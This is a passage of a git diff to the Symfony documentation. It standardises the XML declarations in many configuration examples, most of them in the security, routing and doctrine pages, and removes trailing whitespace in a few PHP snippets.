             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
@@ -156,7 +156,7 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: xml
 
         <!-- config/packages/translation.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 099ada7e704..cff94d1087b 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -13,7 +13,7 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd"
@@ -49,7 +49,7 @@ resolver. Modify the framework to make use of them::
     namespace Simplex;
 
     // ...
-    
+
     use Calendar\Controller\LeapYearController;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface;
     use Symfony\Component\HttpKernel\Controller\ControllerResolverInterface;
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 30b48856c13..8acde6359ed 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -176,7 +176,7 @@ with the ``doctrine.event_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -283,7 +283,7 @@ with the ``doctrine.orm.entity_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -425,7 +425,7 @@ with the ``doctrine.event_subscriber`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -464,7 +464,7 @@ can do it in the service configuration:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 32e5a979cdb..e55165bc458 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -71,7 +71,7 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: xml
 
         <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
diff --git a/forms.rst b/forms.rst
index 6f244fd7d1c..289e1a194b0 100644
--- a/forms.rst
+++ b/forms.rst
@@ -521,7 +521,7 @@ object.
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 399794e2402..7a2b23b0d2d 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -358,7 +358,7 @@ application:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/routing.rst b/routing.rst
index a0617bfb31e..fefe3a190a3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1996,7 +1996,7 @@ generate URLs. This context can be configured globally for all commands:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -2111,7 +2111,7 @@ method) or globally with these configuration parameters:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index b438ed7bb11..16a445d96a6 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -318,7 +318,7 @@ Now define a service for the ``ExtraLoader``:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/security.rst b/security.rst
index a582997801b..c0439086b76 100644
--- a/security.rst
+++ b/security.rst
@@ -116,7 +116,7 @@ Fortunately, the ``make:user`` command already configured one for you in your
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -184,7 +184,7 @@ command will pre-configure this for you:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -298,7 +298,7 @@ important section is ``firewalls``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -523,7 +523,7 @@ start with ``/admin``, you can:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -599,7 +599,7 @@ the list and stops when it finds the first match:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -853,7 +853,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -970,7 +970,7 @@ rules by creating a role hierarchy:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/access_control.rst b/security/access_control.rst
index 53d216c8ce2..68c659095b2 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -50,7 +50,7 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -222,7 +222,7 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -309,7 +309,7 @@ key:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -385,7 +385,7 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -436,7 +436,7 @@ the user will be redirected to ``https``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 42ee7fe5dd9..8db53e89421 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -73,7 +73,7 @@ Now, configure this service ID as the entry point for the firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -150,7 +150,7 @@ configure it under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index f5ec3723c7b..e68e9849685 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -52,7 +52,7 @@ To support HTTP Basic authentication, add the ``http_basic`` key to your firewal
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -118,7 +118,7 @@ Enable the x509 authentication for a particular firewall in the security configu
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -197,7 +197,7 @@ corresponding firewall in your security configuration:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services">
 
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 920c8315f05..1b141b0f85f 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -483,7 +483,7 @@ You are finished! You can now define parts of your app as under WSSE protection.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -563,7 +563,7 @@ in order to put it to use::
 
     // src/DependencyInjection/Security/Factory/WsseFactory.php
     namespace App\DependencyInjection\Security\Factory;
-    
+
     use App\Security\Authentication\Provider\WsseProvider;
 
     class WsseFactory implements SecurityFactoryInterface
@@ -607,7 +607,7 @@ set to any desirable value per firewall.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index 0ce0c2e3ff5..e2cc7037cd9 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -44,7 +44,7 @@ if the request path matches the configured ``pattern``.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -101,7 +101,7 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -159,7 +159,7 @@ the provided HTTP methods.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -215,7 +215,7 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/force_https.rst b/security/force_https.rst
index 797446ce4b9..f7ee271648a 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -31,7 +31,7 @@ access control:
         .. code-block:: xml
 
             <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
+            <?xml version="1.0" encoding="UTF-8" ?>
             <srv:container xmlns="http://symfony.com/schema/dic/security"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/form_login.rst b/security/form_login.rst
index 374e21a78b7..6cc958fc9eb 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -36,7 +36,7 @@ First, enable ``form_login`` under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -431,7 +431,7 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -488,7 +488,7 @@ previously requested URL and always redirect to the default page:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -576,7 +576,7 @@ parameter is included in the request, you may use the value of the
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -642,7 +642,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -717,7 +717,7 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index d78a415ff34..3bce28359a0 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -420,7 +420,7 @@ domain:
     .. code-block:: xml
 
         <!-- translations/security.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7f0ff8b7f0b..de4285a653a 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -72,7 +72,7 @@ Next, configure your "user provider" to use this new ``apiToken`` property:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -258,7 +258,7 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -458,7 +458,7 @@ completes registration. To do that, use your authenticator and a service called
 
     // src/Controller/RegistrationController.php
     namespace App\Controller;
-    
+
     // ...
     use App\Security\LoginFormAuthenticator;
     use Symfony\Component\HttpFoundation\Request;
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index ca4c1e3947f..d7c1692ba80 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -33,7 +33,7 @@ listener:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -167,7 +167,7 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -224,7 +224,7 @@ be called):
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index a4be5dac0e7..d61b82287bc 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -24,7 +24,7 @@ First, enable the JSON login under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -173,7 +173,7 @@ The security configuration should be:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
diff --git a/security/ldap.rst b/security/ldap.rst
index 3b5b549e7ec..eb4872dfbdf 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -160,7 +160,7 @@ use the ``ldap`` user provider.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -384,7 +384,7 @@ Configuration example for form login
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -437,7 +437,7 @@ Configuration example for HTTP Basic
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -497,7 +497,7 @@ Configuration example for form login and query_string
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index f9145e1d897..0a93eae6e9c 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -37,7 +37,7 @@ This is how your security configuration can look in action:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -115,7 +115,7 @@ the solution is to split the configuration into two separate firewalls:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
index 22bc333dec4..7c1ca4a068f 100644
--- a/security/named_encoders.rst
+++ b/security/named_encoders.rst
@@ -22,7 +22,7 @@ to apply to all instances of a specific class:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/password_migration.rst b/security/password_migration.rst
index bb77a0504ab..426a9626cbc 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -49,7 +49,7 @@ on the new encoder to point to the old, legacy encoder(s):
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:security="http://symfony.com/schema/dic/security"
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index d5374e44b03..068816440ce 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -81,7 +81,7 @@ is the service id of your user checker:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 07227868afe..dfebcb449a7 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -62,7 +62,7 @@ to retrieve them:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -138,7 +138,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
         public function loadUserByUsername($usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
-            
+
             return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
@@ -169,7 +169,7 @@ To finish this, remove the ``property`` key from the user provider in
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -234,7 +234,7 @@ users will encode their passwords:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -413,7 +413,7 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
-        
+
         /**
          * Upgrades the encoded password of a user, typically for using a better hash algorithm.
          */
diff --git a/serializer.rst b/serializer.rst
index d416f8fb40a..3518be26607 100644
--- a/serializer.rst
+++ b/serializer.rst
